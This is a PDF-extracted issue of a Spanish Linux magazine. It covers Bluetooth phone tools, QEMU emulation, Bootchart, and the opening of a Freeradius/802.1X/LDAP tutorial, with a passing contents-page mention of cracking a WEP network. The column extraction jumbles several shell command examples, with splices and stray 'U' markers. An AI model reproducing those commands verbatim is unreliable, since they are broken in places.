Cuadro 2: Herramientas Bluetooth Kmobiletools: Consulta el estado de la batería y la cobertura, lee el libro del teléfono, y lee y envía mensajes cortos. La lectura y el envío de SMS solo es soportado en unos pocos dispositivos. Emparejamiento de teléfono móviles vía rfcomm. Página Web: http:// kmobiletools.berlios.de. Administrador de teléfonos Gnome: Pequeña herramienta para enviar y recibir SMS. En caso de recibir mensajes cortos, una ventana con el mensaje aparece en nuestro escritorio. Solo funciona con Suse Linux 9.2 y con todos los dispositivos del ensayo excepto con el Motorola V600 y con el MDA III. Página http://usefulinc.com/software/ Web: phonemgr/ Kbthandsfree: Parte de la infraestructura Bluetooth de KDE. Soporta hablar con manos libres usando unos auriculares Bluetooth. Para hacerlo debemos
lanzar kbthandsfree, seleccionar nuestro teléfono en la ventana Bluetooth Service Selection (Selección de Servicio Bluetooth), puesto que nuestro teléfono debe ser visible, y marcar la opción Voice over Handsfree. Ahora simplemente pulsamos Accept para aceptar una llamada entrante. Para realizar una llamada, escribimos el número y pulsamos Dial(marcado). Usando el menú Settings | Configure Bluetooth Handsfree para ajustar el programa para que almacene las llamadas de forma automática en un archivo Ogg Vorbis. Multisync: Una herramienta muy útil para realizar copias de seguridad de nuestro teléfono o para sincronizar el teléfono con nuestro libro de direcciones KDE, con el calendario o con Evolution. Gracias al soporte plug-in, Multisync puede usar varias fuentes de datos. Por ejemplo podemos examinar datos con LDAP o con SyncML.
WWW.LINUX- MAGAZINE.ES
/usr/share/doc/p3nfs-5.16/ hasta nuestro teléfono. Entonces crearemos una conexión rfcomm introduciendo rfcomm bind 0 <bt-adresse> 11 (ver los detalles en el Cuadro 1). Ahora, primero lanzamos el cliente NFS en el teléfono y luego el servidor escribiendo p3nfsd -series60 -tty /dev/rfcomm0. El demonio NFS intentará montar nuestro teléfono bajo /mnt/psion. Si preferimos usar un punto de montaje distinto (por ejemplo porque /mnt/psion no exista en nuestro equipo) estipularemos -dir/nuestro/directorio al introducir el comando. El directorio debería mostrarnos las unidades de nuestro teléfono y de la tarjeta de memoria como A:, C:, E:. Para detener el servidor debemos escribir el siguiente comando (asegurándonos de que especificamos el punto de montaje correcto): ls /mnt/psion/exit
…y sus Juguetes Bemused [9] ofrece funcionalidades a teléfonos Symbian similares a las que Bluemote aporta a los modelos de Sony Ericsson. Éste es un programa para el control remoto de Xmms o Noatun. Bemused se concentra en la navegación de reproductores de medios (no proporciona control remoto para el ratón), el programa rebusca en los directorios de nuestro PC archivos de audio o vídeo, reproduciendo posteriormente los archivos seleccionados. También podemos descargar archivos a la memoria del teléfono o a la tarjeta de memoria (por supuesto, si tenemos espacio suficiente). El cuadro 2 nos ofrece un repaso de más herramientas usadas con los teléfonos Series60 u otros teléfonos. También puede ser oportuno repasar el CD suministrado con el teléfono. Los CDs suministrados por el fabricante suelen tener juegos o programas de demostración que podemos instalar vía Bluetooth.
Obex Direct Access El teléfono Series60 soporta acceso directo al sistema de archivos sin necesidad del servidor NFS. Simplemente escribiremos la dirección bluetooth:/ en la el cuadro de direcciones URL de Konqueror, seleccionamos nuestro teléfono y pulsamos sobre OBEX File Transfer (Transferencia de Archivos OBEX) como aparece en la figura 2.
Número 05
53
PRÁCTICO • Bluetooth
Dependiendo del dispositivo, ahora podremos arrastrar y soltar archivos entre nuestro PC y nuestro teléfono (y de vuelta) en Konqueror. Al contrario que nuestro servidor P3nfs, esto soporta la transferencia paralela de múltiples archivos. La transferencia de archivos Obex los soportan el resto de los teléfonos excepto el Sharp GX15, si bien encontramos algunas dificultades con el K700i y con el V600. Cuando intentamos contactar con el K700i, Konqueror nos indicó que se requería una autenticación (Authentication required). Tras pulsar para cerrar el mensaje fuimos capaces de mover archivos al teléfono, pero no fuimos capaces de navegar. Esto es debido a un error en Kdebluetooth, habiendo sido corregido este problema en la última versión de CVS. Con la solución instalada podemos ver carpetas llamadas Others (Otros), Images (Imágenes), Displayprofile (Mostrar Perfiles), Sounds (Sonidos) y Videos. El teléfono V600 muestra carpetas llamadas audio, picture (fotografía) y video cuando pulsamos sobre OBEX File Transfer y una segunda pulsación abre la carpeta. No obstante, si queremos copiar un archivo MIDI al teléfono para usarlo como tono de llamada, no cambiaremos el directorio a audio. En su lugar simplemente arrastramos el archivo a la ventana con los tres directorios. El teléfono emplaza automáticamente los archivos en la carpeta adecuada en función de su extensión.
El Megateléfono El teléfono más caro de este experimento ejecuta Windows CE. Con sus 128 Mbytes de RAM, LAN inalámbrico y una pantalla de 240 x 320 pixel, el MDA III es en realidad un PC de bolsillo. Cuando encendemos el dispositivo muestra un ayudante Windows que nos permite configurar la pantalla. Una vez configurada, aparece otro ayudante para introducirnos las funciones de la pantalla táctil. Tras completar este paso, Windows instala una serie de funciones y ajusta el escritorio. Éste procedimiento dura aproximadamente tres minutos. Debido a que la memoria RAM interna de MDA III necesita suministro de energía constante, tendremos que repetir este procedimiento cada vez que se corte el suministro de corriente, por ejemplo tras cambiar las baterías. Windows simplemente olvida todos los ajustes, incluido el de Bluetooth.
54
Número 05
Mientras que el resto de teléfonos tienen un elemento en el menú llamado Send via Bluetooth, Windows CE no lo tiene. Primero debemos lanzar el centro de control de Bluetooth seleccionando Start | Programs | Bluetooth Manager. Ahora seleccionamos Connections | New | Transfer files y seleccionamos los archivos que deseamos tranferir. En nuestros ensayos, esto fallaba frecuentemente. En su lugar, Windows indicaba que el equipo seleccionado no soporta este servicio. Si esto ocurre tenemos que comprobar si la opción Password key required esta habilitada en Bluetooth | Services | File transfer. Si es así, la deshabilitaremos. Desafortunadamente, el dispositivo no soporta comandos AT como los usados por Kmobiletools para consultar el estado de las baterías o para enviar un pequeño mensaje. El surtido de software gratuito para el MDA III es limitado. Al menos hay un reproductor Ogg [10] y un cliente SSH [11]. Al menos que nosotros sepamos, no hay ninguna herramienta de control remoto tipo Bemused o Bluemote para el MDA III Sin embrago, la transferencia de archivos Obex funciona bien. La función de transferencia de archivos Obex soporta la lectura y escritura de carpetas compartidas en el teléfono (normalmente, la única carpeta es Documents). El proyecto SyncCE [12] también nos permite acceder al protocolo de sincronización propietario de Windows. También hay plug-ins para Multisync y para Kitchensync, los cuales deberían permitir la sincronización con Evolution o con el libro de direcciones KDE.
Conclusiones Gracias a la útil función de cliente IrMC, Linux soporta una amplio abanico de funciones de los dispositivos Sony Ericsson T610 y K700i, los teléfonos móviles con el sistema operativo Symbian son útiles para construir administradores. Puede que estos teléfonos requieran una poco de atención manual del usuario antes de sincronizarlos, pero como aspecto positivo debemos citar que el cliente NFS soporta el encriptado. En nuestra prueba fue complicado decir nada ni bueno ni malo respecto al Motorola V600 o respecto al Sharp GX 15. Al margen de su completo paquete de
WWW.LINUX- MAGAZINE.ES
Figura 6: Configuración del libro de direcciones KDE vía el conector local.
funciones, el MDA III no nos convenció. El hecho de que el MDA III no disponga de la opción Send via Bluetooth hace que usar el teléfono Windows sea mucho más complejo. Y que la vida de la batería del MDA III solo dure nueve horas esta bastante por debajo de las expectativas. Mientras estaba escribiendo este artículo me las apañé para sincronizar mi propio teléfono, un viejo Ericsson r520 usando Kitchensync y controlar remotamente Kaffeine usando Bluemote. Incluso si nuestro móvil Bluetooth no fue explícitamente mencionado en este artículo, las herramientas y técnicas usadas pueden ■ ser aplicadas.
RECURSOS [1] Infraestrucura KDE Bluetooth: http:// kde-bluetooth.sf.net [2] Control Remoto Bluemote: http:// www.geocities.com/saravkrish/progs/ bluemote/ [3] Multisync: http://multisync.sf.net [4] IP sobre Bluetooth para Series60: http://www.unix-ag.uni-kl.de/ ~leonard/linux-n6600-howto.html [5] Conector Kitchensync SyncML: http:// www.borowka.net/~maciek/ksyncml/ [6] Reproductor Series60 Ogg: http:// symbianoggplay.sf.net [7] Cliente Series60 SSH: http://s2putty.sf. net/ [8] Cliente Series60 NFS: http://www. koeniglich.de/p3nfs.html [9] Bemused: http://bemused.sf.net [10] Reproductor Ogg para Windows CE: http://www.stohelit.de/freeware/ pocketpc/mortplayer/en/index.pl [11] Cliente Windows CE SSH: http:// pocketputty.duxy.net [12] Proyecto SynCE: http://synce.sf.net/ synce/
Quemu • PRÁCTICO
Emulación de Sistemas con QEMU
MUNDOS VIRTUALES
Figura 1: Knoppix 3.7 arrancado desde la imagen ISO.
¿Has deseado alguna vez poder ejecutar Linux dentro de Linux? QEMU es una aplicación de código abierto que nos permite emular un entorno de hardware completo dentro de nuestro sistema Linux POR FABRIZIO CIACCHI
L
inux soporta una serie de aplicaciones que nos permiten emular las condiciones de una arquitectura hardware. Estas aplicaciones pueden crear un equipo virtual dentro de nuestra máquina Linux. Podemos usar esta máquina virtual para probar software o incluso ejecutar otro sistema operativo. Una aplicación que emule un entorno de hardware normalmente se conoce como un emulador de sistema. El emulador de sistemas más común para Linux es Bochs [1], un emulador muy potente que es habitualmente muy difícil de configurar, y VMware [2], un muy buen y muy rápido emulador que, desafortunadamente, es caro al ser un producto comercial. Pero otro competidor en el campo de los emuladores de sistemas ha hecho su aparición en escena. En este artículo aprenderemos lo que hay que saber sobre la potente (y gratuita) aplicación de emulación de sistemas QEMU.
QEMU es extremadamente fácil de usar, proporcionando simples comandos para tareas que pueden resultar difíciles con otros emuladores. Os mostraremos como usar QEMU en circunstancias reales, pero debéis recordar que este artículo solo cubre una fracción de las funciones y comandos disponibles en QEMU. Para ver el resto debes descargar QEMU y ponerlo en marcha.
Instalación de QEMU QEMU está disponible como código fuente o como binario Linux precompilado. Encontraremos la versión binaria precompilada en la página Web de QEMU [3]. Descargaremos la versión binaria al directorio root (“/”). Abriremos una consola, ponemos el archivo en el directorio, nos convertimos en root e introducimos los siguientes comandos:
WWW.LINUX- MAGAZINE.ES
$ cd / $ su - Insertar contraseña root U y presionar INTRO# tar zxvfU qemu-0.6.1-i386.tar.gz # qemu (to test)
El programa desempaquetará todos los archivos necesarios en el lugar adecuado para el sistema Linux. Si tenemos un problema con la versión precompilada de QEMU o si deseamos instalar QEMU desde el código fuente tendremos que descargarnos la última versión e introducir los siguientes comandos desde una consola: $ y #
su Insertar contraseña root U presionar INTROtar zxvf qemu-0.6.1.tar.gz
Número 05
55
PRÁCTICO • Quemu
# # # # #
cd qemu-0.6.1 ./configure make make install qemu (to test)
Debemos arrancar QEMU desde dentro de una ventana del entorno X Window. Cuando arranquemos QEMU empezará emulando el entorno hardware de nuestro equipo. Si tenemos un Pentium II, QEMU emulará un Pentium II; si estamos en un PowerPC, QEMU emulará un PowerPC. Para emular una arquitectura hardware distinta debemos especificar el nombre de la arquitectura con el comando qemu. Para conocer la lista de arquitecturas soportadas por QEMU introduciremos qemu- y presionamos la tecla TABULADOR dos veces.
Inicio de un Live CD Podríamos usar QEMU para probar una imagen ISO que hayamos descargado de Internet. Por ejemplo, si encontramos una imagen ISO de un Live CD de una distribución Linux en el DVD de Linux Magazine, podremos usar QEMU para probar la distribución. Por ejemplo, suponiendo que tenemos una imagen ISO de KNOPPIX [4] llamada knoppix.iso, si queremos probar la imagen antes de masterizarla, podemos abrir una consola, hacernos root (para asegurarnos de que podemos acceder a los periféricos sin problemas) e introducir este comando: $ y #
su Insertar contraseña Root U presionamos INTRO qemu -cdrom knoppix.iso
Se abrirá otra ventana y comenzará la emulación como si el programa se estuviera ejecutando desde hardware real. Knoppix presenta un arranque gráfico y, tras la elección del método de arranque, comienza en modo gráfico. Podemos arrancar y usar KNOPPIX como hacemos siempre, con las limitaciones obvias de un emulador, que probablemente sea más lento que un sistema ejecutándose directamente en el hardware. El modo más fácil de usar Internet y comunicarse con el entorno del anfitrión es usar la opción -user-net: # qemu -user-net -cdromU
56
Número 05
Figura 2: Gentoo, instalado en hda2, ejecutándose bajo Debian, instalado en hda1.
knoppix.iso
Si hay un servidor Samba instalado en el sistema, el entorno emulado puede acceder al entorno del anfitrión (via Samba) con la opción -smb <directory>. Esta opción para acceder SMB solo puede utilizarse con la opción -user-net. Si tenemos un CD que contenga una distribución Linux o un Live CD Linux, podemos ejecutarlos con un simple comando: # qemu -user-net -cdrom U /dev/cdrom
Con esta opción insertamos el CD en el dispositivo de CDs sin montarlo. QEMU usa el archivo del dispositivo en lugar de la imagen ISO para iniciar la emulación. Esta es una opción muy útil que hace que dispositivos como CDs o discos flexibles sean accesibles tanto al sistema anfitrión como al sistema emulado.
Uso del Mismo Disco Duro Otra situación en la cual podemos usar la ruta del dispositivo en lugar del nombre de un archivo imagen es la representada por el comando QEMU que permite arrancar un sistema operativo en un disco duro. Un ejemplo típico es un disco duro con dos versiones diferentes de Linux, por ejemplo Debian y Gentoo.
WWW.LINUX- MAGAZINE.ES
¿Qué ocurre si estamos en Debian y queremos arrancar Gentoo? En situaciones normales, tenemos que cerrar todos los programas, desconectarnos del entorno X y reiniciar el sistema. Con QEMU podemos arrancar un sistema operativo en nuestro disco duro sin necesidad de reinicar: # qemu -snapshot -hda /dev/hda
La opción -snapshot especifica que todas las modificaciones realizadas serán escritas en un archivo temporal del disco en lugar de en el propio disco. Esta opción ayuda a prevenir la pérdida de datos en situaciones en las que la emulación se realiza en el mismo disco donde se ubica el sistema anfitrión. Si tenemos un cargador de arranque como GRUB instalado en MBR, veremos el arranque del sistema emulado. Una vez se inicia el sistema lo podemos usar normalmente (figura 2).
RAM Virtual La opción de QEMU -m nos permite especificar la cantidad de memoria RAM virtual (en MB) para usar en la emulación (el valor por defecto es 128 MB). Si tenemos mucha memoria RAM física especificaremos más memoria RAM virtual para incrementar las prestaciones de la emulación. Volviendo al ejemplo anterior, si tenemos 512 MB de memoria
Quemu • PRÁCTICO
QEMU lance la emulación se abrirá un interfaz de comandos interactivo en el terminal: # qemu -monitor stdioU -hda hdd.img -cdromU fedora_cd1.iso -boot d
En este interfaz de comandos podemos introducir comandos para gestionar la emulación, los distintos comandos de la interfaz nos permiten reiniciar la emulación, salvar el estado de la emulación para reiniciarla más tarde o cambiar el archivo de un dispositivo particular emulado. Si tenemos imágenes ISO múltiples representando una colección de CDs de instalación de una distribución Linux podemos cambiar al segundo CD del conjunto de instalación con un comando como el siguiente: Figura 3: Con una imagen para el disco duro, podemos iniciar la instalación de Linux.
física y queremos asegurarnos las prestaciones adecuadas para emular un sistema Linux deberemos usar el siguiente comando: # qemu -snapshot -m 256U -hda /dev/hda
Instalación de Linux Si queremos instalar una distribución Linux en el entorno emulado necesitamos crear un archivo que QEMU pueda usar como disco duro virtual. Para crear este archivo podemos usar un programa llamado qemu-img, el cual esta disponible con la aplicación QEMU. La sintaxis para usar qemu-img es muy simple, pasando el nombre hdd.img y el tamaño (en MB) de la imagen que deseamos crear:
usarse como CD-ROM y el dispositivo de arranque -boot d. QEMU supone por omisión que el arranque se inicia desde el disco duro (si éste está presente): # qemu -hda hdd.img -cdromU ubuntu.iso -boot d
# qemu change cdromU fedora_cd2.iso
Cuando hemos acabado el proceso de instalación tenemos una imagen del disco duro que podemos arrancar con QEMU. Para iniciar la emulación escribimos el siguiente comando: # qemu hdd.img
Pero, ¿qué ocurre si queremos instalar una distribución que tiene más de un CD? En este caso necesitamos pasar la opción -monitor stdio, por lo que cuando
En este caso no usamos ninguna otra opción para el ejecutable porque el parámetro por defecto pasado a QEMU
# qemu-img createU hdd.img 2000M
Una vez hemos creado el archivo que servirá de disco duro virtual podemos instalar una distribución Linux directamente desde una imagen ISO. Por ejemplo, podemos descargar la distribución Ubuntu [5] e instalarla en el entorno emulado. Cuando hemos acabado de descargar la imagen ISO de Ubuntu, debemos indicar a qemu el archivo que debe usar como disco duro virtual -hda hdd.img, la ruta de la imagen ISO a
Figura 4: Con el monitor habilitado podemos cargar la imagen ISO de un dispositivo.
WWW.LINUX- MAGAZINE.ES
Número 05
57
PRÁCTICO • Quemu
C:\> C:\> C:\> C:\> C:\>
cwsdpmi cwsdpr0 cd C:\seal2 ctmouse seal
Conclusión QEMU es una aplicación de emulación muy potente. Como otros emuladores, QEMU sufre problemas de rendimiento. Una aplicación no puede correr tan rápido dentro de QEMU como lo haría en el sistema anfitrión. Por otro lado, la velocidad de QEMU es comparable a la de otros emuladores como Bochs. Podemos usar QEMU para comprobar otros sistemas operativos como NetBSD o BeOS. Encontraremos un gran archivo de imágenes de sistemas operativos en FreeOSZoo [9], pudiendo también usar imágenes construidas desde Bochs [10]. Algunos sistemas operativos pueden incluso tener imágenes de QEMU (o ■ Bochs) que podemos descargar.
Figura 5: Una sesión SEAL bajo QEMU.
¿Por qué no DOS? ¿Quién no se acuerda del DOS? Un escenario que una vez fue común (y aún puede serlo) en el caso de que nuestra organización tenga importantes programas que sólo corran en DOS. En lugar de crear una partición de 50 MB para el programa DOS y salir de Linux cada vez que lo necesitemos, podemos usar QEMU con una imagen previamente hecha de FreeDOS [6] (un DOS distribuido con la licencia GPL). Podemos descargar FreeDOS desde [7]. Cuando hemos descargado una imagen comprimida de FreeDOS, fdos-100meg.tar.gz, la abrimos con fileroller o con ark y extraemos el archivo fdos_8h1.img en un directorio. Como root ejecutamos este comando: # qemu -hda fdos_8h1.img -fdaU /dev/fd0 -boot c
Debemos saber que hemos pasado la opción -fda a QEMU. Al igual que las opciones -hda y -cdrom, esta opción se utiliza para leer el contenido del disco blando en el entorno emulado. FreeDOS entonces se inicia y está completamente operativo. Podemos, por tanto, crear un directorio para nuestro programa DOS y
58
Número 05
copiar los archivos que necesitemos en el. En el FreeDOS emulado escribiremos: C:\> mkdir program C:\> copy A:\*.* C:\program
SEAL Ahora que tenemos un DOS funcionando lo podemos usar para otras cosas. Por ejemplo podemos usar el programa SEAL [8]. SEAL es un entorno gráfico para DOS (como Windows 3.1) que viene con algunas funciones similares a las proporcionadas por sistemas más avanzados como Windows 98. Los archivos de instalación de SEAL están en el directorio C:\fdos\seal2. Algunas veces el programa no se inicia debido a problemas en la gestión de la memoria, por lo que también debemos usar las utilidades que vienen para la gestión de intercambio: C:\> C:\> C:\> C:\> C:\>
cd C:\fdos\seal2 cwsparam cwsdpmi cwsdpr0 install
Una vez que SEAL está instalado, necesitamos reiniciar los programas de intercambio e iniciar el programa del ratón, y entonces iniciar SEAL (figura 5).
WWW.LINUX- MAGAZINE.ES
RECURSOS [1] Página Web de Bochs: http://bochs. sourceforge.net [2] Página Web de VMware: http://www. vmware.com [3] Página Web de QEMU: http://fabrice. bellard.free.fr/qemu [4] Página Web de KNOPPIX: http://www. knoppix.net [5] Página Web de Ubuntu: http://www. ubuntulinux.org [6] Página Web de FreeDOS: http://www. freedos.org [7] Imagen Bochs FreeDOS de 100 MB: http://prdownloads.sourceforge.net/ bochs/fdos-100meg.tar.gz?download [8] Página Web de SEAL: http:// sealsystem.sourceforge.net [9] Página Web de FreeOSZoo: http:// www.freeoszoo.org [10] imágenes Bochs: http://sourceforge. net/project/showfiles. php?group_id=12580& package_id=27799
EL AUTOR
tiene como objeto el disco duro principal hda.
Fabrizio Ciacchi (http://fabrizio. ciacchi.it) es un estudiante Italiano de Ciencias Informáticas en la Universidad de Pisa. También trabaja como consultor y escribe artículos sobre Linux.
La Columna de Charly • ADMINISTRACIÓN
El día a día del Administrador de Sistemas: Bootchart
ENCENDIDO ¿Qué podría ser más aburrido que mirar un ordenador ejecutando una
listo. Si opta por Sun o IBM JDK, el path puede variar. Si también tiene Apache Ant en su equipo, simplemente puede teclear lo siguiente en el directorio Bootchart: ant
Si no tiene Ant, necesita unos cuantos comandos extra:
rutina de arranque libre de errores? ¿Por qué buscamos mensajes que quizás nunca aparecerán? Cada segundo que ahorre puede añadirlo a su tiempo libre. Bootchart le ayuda a encontrar estos momentos de ocio tan preciosos. POR CHARLY KÜHNAST
B
ootchart [1] se ejecuta en segundo plano mientras el equipo se está arrancando, echándole un ojo al disco duro y a la carga de la CPU, mientras se arrancan los servicios y le dicen si algo está causando un retraso. Tras almacenar los resultados, Bootchart presenta la información que considera importante en un entorno gráfico amigable como el diagrama de la Figura 1. La versión 0.4 de Bootchart es un fichero tar de 60 KB, que puede descomprimir rápidamente tecleando: tar xvzpf bootchart-0.4.tar.gz
Ha sido rápido ¿o no? Un vistazo al archivo readme revela que Bootchart necesita el Java Development Kit. Por suerte, la herramienta no es quisquillosa
SYSADMIN
sobre su elección de Java; trabaja bien con GCJ [2], el IBM Developer Kit [3] y las J2SE SDK de Sun [4] – personalmente prefiero la tacita de café de Sun. No quería hacerlo sin cargar el display de I/ O, así que seguí las recomendaciones del fichero readme e instalé iostat del paquete sysstat [5]. El siguiente paso es instalar el Bootchart logger, esto es, el software que reúne los datos en tiempo de arranque. Se proporciona un script de instalación. El script detecta las distribuciones más populares de Linux y automáticamente las añade al logger. El script se lanza tecleando ./install.shen el directorio Bootchart. Si la instalación no reconoce su distribución, necesitará arrancar manualmente la herramienta. El siguiente paso es compilar los componentes de Java. Si utiliza GCJ, es fácil: teclee make en el directorio Bootchart y
mkdir build javac -d build -classpath src /usr/local/bootchart/Main.java
Puede necesitar cambiar el path en el último comando por el directorio donde haya descomprimido los ficheros fuentes del Bootchart.
Choca esos….tres (Ctrl + Alt + Supr) Ahora que hemos terminado con los preliminares, es hora de pasar el test. Reinicio el sistema para lanzar el logger y luego detengo el logger manualmente mediante /etc/rc.d/bootchart/bootlog stop
El path en este comando puede variar dependiendo de su distribución Linux. Un rápido ls del /var/log/ muestra dos nuevos ficheros de log, boot.top.log y boot.io.log. Estos ficheros contienen la información del arranque de la CPU y del disco duro. Para crear una vista gráfica con estos datos, tecleo: ./render.sh
Radius y 802.1X…….…….…….…….60
en el directorio Bootchart. Si render.sh encuentra un visor SVG, inmediatamente lanzará la vista para finalizar mostrando los resultados. Ahora es hora de empezar a buscar aquellos segundos perdidos. ■
Mostraremos como resguardarse de usuarios no autorizados de la red física. Sombrero a Medida……….…….….. 64 Desvelamos como personalizar una instalación con Fedora Core. Airbag Web……….…….…….…….... 68 El uso de PHP puede afectar seriamente la salud… de nuestro servidor. Vemos como protegernos.
RECURSOS [1] Bootchart:http://www.klika.si/ziga/ bootchart
Seguridad Wireless………..…….…..75
[2] GCJ: http://gcc.gnu.org/java
Volvemos a las andadas y crackeamos una red protegida con WEP armados con un Zaurus.
[3] IBM Developer kit for Linux: http:// www-106.ibm.com/developerworks/ java/jdk/linux140
Demonios………..…….…….…….…. 79 Los superservidores inetd y xinetd pueden controlar el acceso a los recursos del sistema por parte de demonios descontrolados.
Figura 1: Después de un arranque satisfactorio, Bootchart saca un gráfico mostrando la carga de la CPU y de disco.
WWW.LINUX-MAGAZINE.ES
[4] Sun J2SE SDK:http://java.sun.com/ j2se/1.4.2 [5] Sysstat: http://perso.wanadoo.fr/ sebastien.godard
Número 05
59
ADMINISTRACIÓN • Radius y 802.1X
Acceso Seguro a Redes con 802.1X, Radius y LDAP
PROHIBIDO EL PASO Normalmente, el protocolo Radius se utiliza para autenticar usuarios en escenarios dial-up. Pero Radius también es útil en entornos LAN: en combinación con 802.1X, Radius fuerza a los usuarios a autenticarse a bajo nivel antes de que el switch abra el puerto. BY BY MICHAEL MICHAEL SCHWARTZKOPFF SCHWARTZKOPFF
original photo: www.sxc.hu
L
os ataques desde la red interna son peligrosos y más difíciles de prevenir que los ataques externos. Un atacante que se conecte en una red interna con un portátil se beneficia de nuestro ancho de banda para el acceso a la red de datos. Una forma de prevenir un ataque es implementar una función de autenticación en la Capa 2 del modelo OSI usando el protocolo 802.1X [1]. Un switch habilitado con 802.1X y un servidor Freeradius es todo lo que necesitamos para implementar la autenticación en la Capa 2. Ya que la autenticación de la Capa 2 opera en el nivel local, la red física, se evita que los intrusos utilicen la red física sin autenticarse. Las respuestas Radius (Remote Authentication Dial-in-User Service Protocol) desde un servidor Linux suelen incluir la dirección IP y el gateway estándar para el usuario, pero el protocolo tiene más potencial. Puede usar un servidor Radius para asignar una VLAN al
60
Número 05
puerto del switch del usuario. Esta técnica evita la necesidad de una infraestructura compleja de router, pero sigue restringiendo el tamaño del dominio de broadcast. Además, las VLANs se pueden usar para separar departamentos de una compañía de manera lógica, mejorando la seguridad al mismo tiempo. Aunque los usuarios pueden conectarse desde cualquier sitio en el que se encuentren (desde el bar por ejemplo), siempre verán su propio entorno de red. El protocolo estándar 802.1X maneja la autenticación y el servidor Freeradius se proporcionan los servicios AAA (Autenticación, Autorización y Arqueo). El servidor Freeradius accede al directorio del servidor OpenLDAP para obtener información de las cuentas. El sistema completo está disponible tanto para clientes Linux como Windows. Soporta capas redundantes para alta-disponibilidad utilizando proxies para Radius y
WWW.LINUX- MAGAZINE.ES
replicación de directorios para la base de datos LDAP. La solución completa también puede aplicarse a la seguridad de la WLAN, y los administradores pueden beneficiarse de las opciones de contabilidad (arqueo, estadísticas….) del servidor Radius.
802.1X y EAP El protocolo IEEE 802.1X proporciona control de acceso en la Capa 2 de OSI (la Capa MAC). IEEE 802.1X soporta la autenticación de clientes mientras se establece la conexión a la red, antes de que al cliente se le asigne una dirección IP vía DHCP (Dynamic Host Configuration Protocol). Entre otras cosas, el estándar especifica como el protocolo de autenticación (EAP, Extensible Authentication Protocol) se encapsula en marcos Ethernet. EAP proporciona un marco de trabajo para varios métodos de autenticación que soportan más que la combinación
Radius y 802.1X• ADMINISTRACIÓN
normal de nombre de usuario y clave. EAP utiliza el Network Access Server (Autenticador) para abrir un túnel para la autenticación del servidor a través de la red. 802.1X define un número términos especiales: • Un cliente que pide autenticarse se conoce como Suplicante. • El servidor que autentifica al cliente se conoce como Servidor de Autenticación. • El dispositivo intermediario entre estas dos entidades es el Network Authentication Server (NAS) o Autenticador. Este sistema funcionará en cualquier red que entregue paquetes Ethernet. El Interopnet Labs white paper proporciona una ayuda bastante útil [1].
Variantes de EAP EAP define una variedad de métodos de autenticación. EAP/MD5 transfiere un hash con el nombre del usuario, su contraseña y una cadena arbitraria. El servidor utiliza la clave en texto claro y la cadena arbitraria para generar su propio hash, el cual se compara con la hash entrante. Este método es simple, pero no es seguro contra ataques tipo diccionario. Además, en una wireless LAN, es imposible crear claves WEP dinámicas utilizando EAP/MD5. Por tanto, este método sólo está indicado para las pequeñas redes cableadas. Con la segunda variante, EAP/TLS, tanto el servidor como el cliente necesitan certificados X.509. Este método es muy seguro, pero implica tener un PKI (Public Key Infrastructure) en funcionamiento. Un tercer método es PEAP, Protected Extensible Autentication Protocol. Con PEAP, sólo el servidor necesita un certificado para establecer una conexión TLS y enviar el nombre de usuario y la contraseña encriptados (MSCHAPv2, Microsoft Challenge Handshake Authentication Protocol). Los administradores sólo necesitan instalar el certificado del servidor en cada cliente. Cuando los clientes salen del sistema o cierran la conexión, PEAP detecta el cambio y finaliza la autorización, cerrando las conexiones por ambos lados.
Distribución de Carga En redes sólo cableadas, EAP/MD5 es a menudo la mejor opción. Esto es todo lo
Figura 1: El protocolo 802.1X cubre varias capas. EAP maneja cambios entre el suplicante y el autenticador. Radius es el responsable de la ruta entre el autenticador y el servidor de autenticación.
que se necesita para asignar dinámicamente VLANs y, a diferencia de PEAP, es un protocolo soportado por una gran variedad de switches. Además de esto, el complicado esfuerzo administrativo es mucho menor que con PEAP o EAP/ MD5. Un switch normalmente proporciona funcionalidad NAS, traduciendo el protocolo EAPOL (EAP sobre LAN) desde el suplicante a Radius, que es lo que el servidor de acceso espera. La mayoría de los dispositivos le dan esta opción cuando se configura 802.1X. Necesitamos introducir la dirección y la clave para el servidor Radius. En muchos casos, los administradores pueden configurar múltiples servidores para proporcionar altos niveles de disponibilidad y ofrecer una solución alternativa en caso de que el servidor principal caiga.
Freeradius Freeradius [4] es una buena opción a la hora de escoger un servidor Radius. La versión 1.0 añade soporte para un gran número de EAPs y muy especialmente para PEAP. Los desarrolladores han introducido una opción para autenticarse en los dominios de Windows. Y Freeradius puede recuperar datos de cuenta desde fuentes típicas /etc/passwd, LDAP, MySQL, PostgreSQL o bases de datos Oracle. La instalación es muy simple y sigue los tres pasos de siempre: configure && make && make install. Si todo va bien, debería poner los ficheros de configuración del servidor en /usr/local/etc/raddb. La primera cosa que Freeradius necesita hacer es permitir el acceso a los clientes Radius (en nues-
WWW.LINUX-MAGAZINE.COM
tro caso, NAS). El fichero clients.conf se encarga de esto. La configuración para un switch con dirección estática 192.168.200.20 podría ser como ésta, por ejemplo: client 192.168.200.20 { secret = probando123 shortname = switch }
Cuando estemos configurando el servidor Radius, el administrador necesita introducir la clave en el switch (esto es, “probando123” en nuestro caso). Freeradius aceptará la notación CIDR (Classless Inter-Domain Routing) para redes completas: 192.168.200.0/24.
Autenticación de Usuarios El fichero users especifica el tipo de autenticación del usuario. La siguiente entrada debería ser válida para las pruebas iniciales: usuarioprueba Auth-Type := Local, U User-Password == "contprueba" Reply-Message = "Hola, %u"
Inicialmente querrá ejecutar el servidor Radius en modo debug. radiusd -X le dice al servidor que muestre por consola los mensajes de error y las advertencias. El programa de la línea de comandos radtest proporciona una herramienta útil de comprobación de clientes que puede ayudarle a probar su configuración. Suponiendo la configuración mencionada, la línea de comandos para comprobar clientes es la siguiente: radtest usuarioprueba contprueba localhost 0 probando123. Los tres últimos paráme-
Número 05
61
ADMINISTRACIÓN • Radius y 802.1X
Figura 2: Los clientes nuevos primero tienen que autenticarse contra el NAS (esto es: el switch). El switch actúa como un proxy al servidor Radius, el cual en devuelve el acceso al directorio LDAP para comprobar las credenciales del usuario.
tros hacen referencia al servidor Radius. Para permitir que esto funcione, necesita añadir localhost como un cliente Radius válido a clients.conf. Freeradius responderá con la salida Access-Accept.
nistradores pueden añadir manualmente la configuración para el resto de los usuarios. Lógicamente, este método es impracticable en grandes redes.
VLAN en la Respuesta
